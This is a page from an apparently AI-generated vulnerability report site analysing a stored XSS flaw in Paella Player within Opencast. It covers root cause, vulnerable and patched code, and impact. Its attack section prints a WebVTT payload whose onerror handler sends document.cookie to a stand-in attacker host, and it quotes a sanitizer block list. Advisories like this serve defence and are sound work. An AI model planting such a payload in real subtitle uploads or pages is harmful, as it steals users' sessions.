CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2026-77615

CVE-2026-77615: Stored Cross-Site Scripting (XSS) in Paella Player as used in Opencast

Alon Barad
Alon Barad
Software Engineer

Sep 18, 2026·5 min read·3 visits

Executive Summary (TL;DR)

A Stored XSS vulnerability in Paella Player allows authenticated users to execute arbitrary JavaScript in the browsers of other users by uploading a crafted subtitle file.

CVE-2026-77615 is a high-severity Stored Cross-Site Scripting (XSS) vulnerability in the Paella Player component, which is integrated as the default front-end media viewer in Opencast. Unsafe client-side rendering of subtitle tracks allows authenticated, low-privileged users to inject arbitrary JavaScript payloads via crafted WebVTT or DFXP files. The script executes within the context of any viewer session under the host origin, enabling session hijacking and unauthorized API interaction.

Vulnerability Overview

Paella Player is an open-source, multi-stream web player library designed to render multiple synchronized video feeds. Opencast, an enterprise-grade lecture capture platform, integrates Paella Player as its default front-end viewer. The platform supports subtitle file uploads in WebVTT and DFXP formats to enhance user accessibility.\n\nThe vulnerability, designated as CVE-2026-77615, stems from improper validation of subtitle cue files. A malicious actor with access to upload files can inject arbitrary scripts into subtitle tracks. When a viewer plays the video and enables captions, the application executes the injected code in the viewer's browser.\n\nThis behavior matches the classic model of Stored Cross-Site Scripting (CWE-79). The attack surface resides entirely on the client-side parsing and rendering routines of the player library. Because Opencast hosts the media and player on its own domain, the script runs with full authorization privileges on that origin.

Root Cause Analysis

The root cause of this vulnerability lies in the client-side Javascript logic used to parse and draw captions. Specifically, the software handles closed caption objects by extracting strings and inserting them via the browser's dynamic DOM parser.\n\nWithin CaptionsCanvas.js, the code iterates over the text lines of active subtitles. Rather than treating these values as static strings, the developer utilized the innerHTML assignment operator to perform concatenation. This operator instructs the rendering engine to interpret the string value as live HTML elements.\n\nA secondary vulnerability exists in the DFXP subtitle format parsing code within DFXPParser.js. The parser extracts nodes using p.innerHTML, which preserves any nested tags. Passing these structures down to the CaptionsCanvas pipeline creates multiple vector pathways for script execution.

Code Analysis

To understand the exact flaws, we can examine the vulnerable code blocks beside their remediated counterparts. The primary fix targets the dynamic insertion loop inside CaptionsCanvas.ts and changes how DOM child elements are constructed.\n\nBefore the patch, the application parsed and evaluated strings directly using the addition assignment operator: this._captionsContainer.innerHTML += c. This instruction enabled the loading of arbitrary script handlers like onload or onerror attached to dummy tags.\n\ntypescript\n// Vulnerable Implementation\ncue && cue.captions.forEach(c => {\n this._captionsContainer.innerHTML += c;\n this._captionsContainer.innerHTML += '<br/>';\n});\n\n\nThe fix replaces this pattern entirely with standard DOM manipulation methods. The engine now uses document.createTextNode() to append the cue string. This interface treats the content strictly as text, rendering brackets and special characters as visual literals.\n\ntypescript\n// Remediation Patch\ncue && cue.captions.forEach(c => {\n this._captionsContainer.appendChild(document.createTextNode(c));\n this._captionsContainer.appendChild(document.createElement('br'));\n});\n\n\nThe DFXP parser was updated similarly, changing the source extraction from p.innerHTML to p.textContent to strip nested markup elements immediately. This multi-layered update effectively seals the unsafe rendering sinks.

Custom Sanitization Review

In addition to using text node insertions, the maintainers implemented a custom sanitization function called sanitizeHtml within the paella-core library. This function attempts to parse the caption string inside an inert template element and strip out forbidden components.\n\njavascript\nconst FORBIDDEN_ELEMENTS = ['script', 'iframe', 'object', 'embed', 'base', 'meta', 'link'];\nconst URL_ATTRIBUTES = ['href', 'xlink:href', 'src', 'action', 'formaction', 'background', 'poster'];\nconst DANGEROUS_PROTOCOL = /^(?:javascript:|vbscript:|data:text\\/html)/i;\n\n\nWhile this sanitization script prevents straightforward inline execution vectors, custom filters are historically prone to bypasses. An attacker could potentially utilize mutation XSS (mXSS) techniques where differences in parsing contexts allow payloads to slip past the initial check. Additionally, the lack of an explicit attribute whitelist means elements can maintain standard properties that cause script execution or style injections under specific browser engines.\n\nSecurity engineers should treat this custom sanitizer as a secondary defense layer only. Implementations must rely primarily on the text-based parsing mechanisms introduced in the parallel player patch. For robust rendering requirements that demand HTML in subtitles, developers should replace the custom function with a thoroughly tested library like DOMPurify.

Attack Methodology & Flow

Exploiting this vulnerability requires two conditions: authorization to upload subtitle tracks and an active viewer target. The attacker first crafts a standard WebVTT subtitle track containing nested script tags.\n\nvtt\nWEBVTT\n\n00:00:01.000 --> 00:00:05.000\n<img src=\"x\" onerror=\"fetch('http://attacker.example.com/log?cookie=' + document.cookie)\">\n\n\nThe attacker uploads this payload through the Opencast media upload interface. The server stores the file and exposes it through the search manifest index. When the victim requests the corresponding video file, the front-end player retrieves the WebVTT file and evaluates the cue frame-by-frame.\n\nThe process flow is outlined below:\n\nmermaid\ngraph LR\n Attacker[\"Attacker (Instructor Role)\"] -->|Uploads WebVTT Subtitle| Opencast[\"Opencast Media Backend\"]\n Opencast -->|Exposes File Link| Manifest[\"Search Manifest (/search/episode.json)\"]\n Victim[\"Victim (Student / Admin)\"] -->|Loads Video Player| Player[\"Paella Player Component\"]\n Manifest -->|Delivers WebVTT Resource| Player\n Player -->|Injects Raw Cue into innerHTML| DOM[\"Victim Browser DOM\"]\n DOM -->|Triggers Script Execution| Exfil[\"Attacker Server (Credential Exfiltration)\"]\n\n\nOnce the player hits the timestamp of the malicious cue, the browser renders the payload. The Javascript executes within the security context of the Opencast application, gaining access to local storage, cookies, and active session tokens.

Impact & Risk Assessment

The vulnerability possesses a CVSS v3.1 base score of 8.7, indicating a high risk level. This calculation is based on the vector string: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N. This indicates that the vulnerability is network-exploitable with low privileges, requiring minor user interaction.\n\nBecause the scope is changed (S:C), the injected code can pivot from the client-side viewer and manipulate the hosting application interface. In Opencast environments, users with administrative roles regularly view lectures or review uploads. An attacker executing code within an administrator's browser can perform unauthorized actions via the REST API, including modifying system configuration or changing file access controls.\n\nThis risk is compounded by the typical multi-tenant setup of educational environments. A student or teaching assistant with low access levels can compromise the sessions of senior faculty or platform operators. The lack of prior input sanitation on the server side means these scripts remain stored indefinitely until the asset is deleted.

Official Patches

opencastOpencast Security Advisory
polimediaupvPaella Core Changelog Detail

Fix Analysis (4)

Technical Appendix

CVSS Score
8.7/ 10
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N

Affected Systems

polimediaupv paella-player < 2.12.11polimediaupv paella-core < 1.50.5opencast opencast < 19.7opencast opencast >= 20.0, < 20.2

Affected Versions Detail

Product
Affected Versions
Fixed Version
paella-player
polimediaupv
< 2.12.112.12.11
paella-core
polimediaupv
< 1.50.51.50.5
opencast
opencast
< 19.719.7
opencast
opencast
>= 20.0, < 20.220.2
AttributeDetail
CWE IDCWE-79 (Improper Neutralization of Input During Web Page Generation)
Attack VectorNetwork (AV:N)
CVSS Base Score8.7 (High)
Exploit StatusProof-of-Concept Available
KEV StatusNot Listed
ImpactArbitrary Client-side Script Execution (Stored XSS)
Affected ComponentCaptionsCanvas / DFXPParser / WebVTTParser

MITRE ATT&CK Mapping

T1189Drive-by Compromise
Initial Access
T1185Browser Session Hijacking
Collection
CWE-79
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

Known Exploits & Detection

GitHub Security AdvisoryAnalysis of caption parsing flow and execution steps in vulnerable subtitle streams.

Vulnerability Timeline

Player integration adjustments begin inside Opencast
2026-06-17
Upstream fix committed to paella-player codebase
2026-06-19
Custom sanitizer routine added to paella-core
2026-06-25
WebVTT parsing migrated to webvtt-parser package
2026-09-01
CVE-2026-77615 published alongside GHSA-m6c8-jcw2-5r25
2026-09-17

References & Sources

  • [1]Advisory on Stored XSS in Paella Player
  • [2]Opencast Pull Request 7736
  • [3]Opencast Release 19.7
  • [4]Opencast Release 20.2

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.

More Reports

•11 minutes ago•CVE-2025-53837
9.9

CVE-2025-53837: Remote Code Execution in XWiki Rendering via Macro Escape Injection

CVE-2025-53837 is a critical remote code execution (RCE) vulnerability in XWiki Rendering before versions 14.10.2 and 15.0 RC1. The vulnerability arises from a failure to escape macro closing tags within raw output handled by HTML macro blocks. This allows low-privilege users to escape the restricted HTML container and execute high-privilege scripts under the application's context.

Alon Barad
Alon Barad
1 views•4 min read
•about 1 hour ago•CVE-2026-77281
6.5

CVE-2026-77281: Rewrite Placeholder Re-expansion Vulnerability in Caddy Web Server

A critical double-evaluation vulnerability exists in the rewrite module of the Caddy web server. Under specific configurations where a rewrite directive ends with a literal question mark and processes client-controlled headers, the system performs a secondary expansion pass. This allows attackers to evaluate arbitrary internal placeholder variables, leading to unauthorized disclosure of sensitive environment variables and system files.

Amit Schendel
Amit Schendel
4 views•8 min read
•about 3 hours ago•GHSA-9395-2G46-RJ3F
8.2

GHSA-9395-2G46-RJ3F: Multiple Cross-Site Scripting (XSS) Vulnerabilities in djust Template and Live Engine

A comprehensive technical analysis of six Cross-Site Scripting (XSS) vulnerability classes in the djust framework versions 1.0.0 through 1.1.0, involving escaping failures across the Python-Rust template boundary and stateful WebSocket cache lifecycles.

Alon Barad
Alon Barad
4 views•10 min read
•about 4 hours ago•GHSA-XJW9-38CR-6372
8.2

GHSA-XJW9-38CR-6372: Cross-Site Scripting via Stale Safe-Key Inheritance in djust Template Shadowing

An escaping defect in the djust templating engine allows Cross-Site Scripting (XSS) when a template binding construct shadows a variable that was previously marked safe. The Rust-based context safety tracking incorrectly preserves name-based safety grants even after the variable name has been bound to a new, untrusted value.

Amit Schendel
Amit Schendel
5 views•6 min read
•about 5 hours ago•CVE-2026-81875
7.5

CVE-2026-81875: Unbounded DEFLATE Decompression Denial of Service in HAPI FHIR SHCParser

A critical denial of service vulnerability exists in the HAPI FHIR SHCParser within the org.hl7.fhir.core Java library. Unbounded decompression of raw DEFLATE data during Smart Health Card parsing allows unauthenticated remote attackers to trigger JVM heap exhaustion and crash the application.

Alon Barad
Alon Barad
6 views•7 min read
•about 6 hours ago•CVE-2026-81876
7.5

CVE-2026-81876: Unauthenticated Denial of Service via Infinite Loop in HAPI FHIR SHCParser

CVE-2026-81876 is a high-severity Denial of Service vulnerability in HAPI FHIR, a complete Java implementation of the HL7 FHIR standard. The vulnerability stems from improper usage of Java's java.util.zip.Inflater class within the Smart Health Card (SHC) parser.

Amit Schendel
Amit Schendel
7 views•6 min read